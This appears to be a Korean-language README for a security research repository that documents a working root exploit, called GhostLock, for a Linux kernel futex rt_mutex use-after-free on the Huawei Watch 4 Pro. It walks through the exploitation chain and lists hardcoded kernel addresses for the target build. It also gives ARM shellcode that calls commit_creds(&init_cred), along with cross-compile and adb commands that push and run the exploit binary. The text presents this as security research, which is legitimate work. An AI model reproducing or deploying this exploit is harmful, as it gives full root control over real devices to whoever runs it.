
CVE-2026-43499 (GhostLock) — Huawei Watch 4 Pro(커널 5.4.210)를 대상으로 한 Linux 커널 futex PI rt_mutex UAF ARM32 권한 상승 연구
Linux 커널 futex PI rt_mutex Use-After-Free 취약점 연구 및 Huawei Watch 4 Pro (MDS-AL00), Snapdragon SW5100, armv7l, 커널 5.4.210을 대상으로 한 익스플로잇 개발.
kernel/locking/rt_mutex.c의 remove_waiter()는 프록시 락 롤백 중에 waiter->task 대신 current를 잘못 사용하여, 대기자 태스크의 pi_blocked_on을 지우지 못한다. 이로 인해 대기자의 커널 스택 프레임이 해제된 후 task_struct에서 스택에 할당된 rt_mutex_waiter로 향하는 댕글링 포인터가 남게 된다 — 전형적인 스택 Use-After-Free이다.
futex(FUTEX_CMP_REQUEUE_PI)를 통해 EDEADLK 롤백을 트리거한다. 대기자의 pi_blocked_on이 해제된 스택을 가리키게 된다.prctl(PR_SET_NAME)(옵션 15, 비특권)을 사용하여 15바이트의 제어된 데이터를 커널 스택에 복사하고, 가짜 대기자의 task/lock/prio 필드를 덮어쓴다.sched_setattr()이 PI 체인 순회를 트리거한다. 가짜 대기자가 커널 file_operations 구조체와 겹치는 위조된 rt_mutex에 큐잉된다. 레드-블랙 트리 삽입이 대기자의 커널 스택 주소를 fops->unlocked_ioctl에 기록한다.ioctl()을 호출하면, 덮어쓴 unlocked_ioctl 포인터를 통해 실행 가능한 커널 스택의 셸코드로 디스패치된다.commit_creds(waiter)를 호출한다. 여기서 대기자의 첫 번째 필드(rb_insert_color에 의해 설정됨)가 uid/gid = 0인 가짜 struct cred를 형성한다.fops->unlocked_ioctl을 덮어씀)ioctl(null_fd, IOCTL_CMD, 0)을 통해 셸코드로 디스패치 -> commit_creds(&init_cred) -> 루트 셸)| 속성 | 값 |
|---|---|
| 디바이스 | Huawei Watch 4 Pro (MDS-AL00) |
| SoC | Snapdragon SW5100 (Cortex-A7, armv7l) |
| 커널 | 5.4.210 (32비트 ARM) |
| KASLR | 비활성화 |
| PAN/SMAP | 없음 |
| PXN | 0xc1b00000+에서 없음 (스택/BSS 실행 가능) |
| CFI/PAC | 없음 |
kernel base 0xC0008000
syscall table 0xc0101264
do_vfs_ioctl 0xc031c0ec (fops->unlocked_ioctl call at 0xc031c8a0)
commit_creds 0xc014c898 (true commit_creds entry)
override_creds 0xc014cac8 (leaf helper immediately following commit_creds)
rt_mutex_enqueue 0xc019c660
rb_insert_color 0xc104a918
init_task 0xc1b11640
init_cred 0xc1b17e60
null_fops (/dev/null) 0xc141f5b0
FAKE_LOCK 0xc141f5d4 (null_fops + 0x24)
write target 0xc141f5d8 (null_fops + 0x28 = unlocked_ioctl)
IOCTL_CMD 0x01B17E60 (INIT_CRED + 0x40000000)
.
├── README.md # Project documentation
├── boot.img # Target device boot image (32 MB)
├── exploit/
│ ├── ghostlock_arm32.c # Main ARM32 exploit source
│ ├── ghostlock_arm32.h # Exploit definitions header
│ ├── ghostlock_arm32 # Compiled static ARM binary
│ ├── ghostlock_poc1.c # Initial crash POC
│ ├── nebula_poc.c # Nebula team reference POC
│ └── variants/ # Research exploit variants & performance tests
│ ├── ghostlock_v11_kgsl_preadv2.c
│ ├── ghostlock_v6a_kgsl_getdents64.c
│ ├── ghostlock_v7_clock_adjtime.c
│ └── ...
├── kernel/
│ ├── kernel_raw.bin # Uncompressed kernel binary (28 MB)
│ └── kallsyms_parsed.txt # Extracted kernel symbol table
├── analysis/ # Capstone/Keystone-based reverse engineering
│ ├── *.py # Disassembly and verification scripts
│ └── *.txt # Extracted tables and scan logs
├── references/
│ ├── ghostlock/ # Earlier exploit iterations & research notes
│ ├── ref_tc3650/ # TC3650 ARM32 reference materials
│ └── ref_oneplus_aarch64/ # OnePlus / Oppo AArch64 GhostLock references
└── tools/
└── fetch_missing.sh # Zig-based musl toolchain compilation script
크로스 컴파일 GCC 또는 Zig 사용:
# Option A: GCC cross compiler
arm-linux-gnueabihf-gcc -static -O2 -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread
# Option B: Zig compiler
zig cc -target arm-linux-musleabi -O2 -static -o exploit/ghostlock_arm32 exploit/ghostlock_arm32.c -lpthread
adb push exploit/ghostlock_arm32 /data/local/tmp/
adb shell chmod +x /data/local/tmp/ghostlock_arm32
adb shell /data/local/tmp/ghostlock_arm32
waiter+0x18에 삽입되는 위치 독립적 ARM 셸코드:
sub r0, r1, #0x40000000 @ r0 = ioctl cmd - 0x40000000 = &init_cred
ldr pc, [pc, #-4] @ jump to commit_creds
.word 0xc014c898 @ true commit_creds entry
ioctl(null_fd, cmd, arg)가 f_op->unlocked_ioctl(filp, cmd, arg)를 디스패치할 때, 레지스터 r1에는 cmd 인자가 들어 있습니다.cmd = 0x01B17E60으로 설정하면, sub r0, r1, #0x40000000(인코딩 0xe2410101, 널 바이트 없음)이 r0 = 0xc1b17e60(&init_cred)을 계산합니다.commit_creds(&init_cred)는 전체 권한과 깨끗한 SELinux 보안 컨텍스트를 가진 root 자격 증명을 설치하고, do_vfs_ioctl(lr = 0xc031c8c0)로 깔끔하게 반환합니다.이 벤더 커널의 struct file_operations에는
오프셋 +0x24(poll과 unlocked_ioctl 사이)에 추가 4바이트 필드가 있어,
표준 Linux 5.4에 비해 이후의 모든 멤버가 4바이트씩 이동합니다:
+0x04 llseek +0x20 poll
+0x08 read +0x24 <vendor extra>
+0x0c write +0x28 unlocked_ioctl
+0x10 read_iter +0x2c compat_ioctl
+0x14 write_iter +0x30 mmap
+0x18 iterate +0x38 open
+0x1c iterate_shared +0x40 release
이는 ashmem 및 null fops 핸들러를 디스어셈블하여 검증되었습니다.
이 저장소는 보안 연구 및 교육 목적으로만 제공됩니다. 소유하지 않았거나 테스트 권한이 없는 기기에서 이러한 기법을 사용하지 마십시오.